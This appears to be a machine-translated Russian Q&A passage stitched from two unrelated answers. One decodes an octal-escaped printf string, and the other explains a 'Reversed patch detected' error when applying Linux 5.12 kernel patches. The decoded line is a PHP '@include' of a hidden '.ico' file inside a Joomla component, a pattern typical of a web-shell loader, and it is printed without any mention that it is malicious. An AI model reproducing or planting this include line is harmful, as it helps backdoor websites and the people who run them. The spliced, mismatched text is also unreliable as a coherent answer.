Очень простое решение, если оно доступно, — использовать printf
printf '4:@include "\057v\141r\057w\167w\057v\143v\057a\144m\151n\151s\164r\141t\157r\057c\157m\160o\156e\156t\163/\143o\155_\163p\160a\147e\142u\151l\144e\162/\0569\1457\0642\0614\146.\151c\157"; '
Дайте мне именно то, что мне нужно
4:@include "/var/www/vcv/administrator/components/com_sppagebuilder/.9e74214f.ico";
Это сообщение об ошибке
Reversed (or previously applied) patch detected! Assume -R? [n]
... означает, что команда patch
обнаружила, что ваш патч уже применен к источникам. Он предлагает вам использовать patch -R
, но это не то, что вам нужно, так как это отменит исправление, и, таким образом, вы получите более раннюю версию исходных текстов Linux.
Это происходит из-за вашего непонимания. Посмотрите на первые строчки патча:
--- a/Makefile
+++ b/Makefile
@@ -1,7 +1,7 @@
# SPDX-License-Identifier: GPL-2.0
VERSION = 5
PATCHLEVEL = 12
-SUBLEVEL = 0
+SUBLEVEL = 1
EXTRAVERSION =
NAME = Frozen Wasteland
Этот фрагмент изменяет 4-ю строку Makefile так, что SUBLEVEL
меняется с 0 на 1. По сути, этот патч изменяет версию Linux с 5.12.0 на 5.12.1, версию, которая у вас уже есть (отсюда и сообщение об ошибке ).
Итак, это не тот патч. Вам нужен патч 5.12.2 . Но если вы посмотрите на него (как выше ), вы поймете, что это относится к исходному дереву 5.12.0 , а не к 5.12.1:
--- a/Makefile
+++ b/Makefile
@@ -1,7 +1,7 @@
# SPDX-License-Identifier: GPL-2.0
VERSION = 5
PATCHLEVEL = 12
-SUBLEVEL = 0
+SUBLEVEL = 2
EXTRAVERSION =
NAME = Frozen Wasteland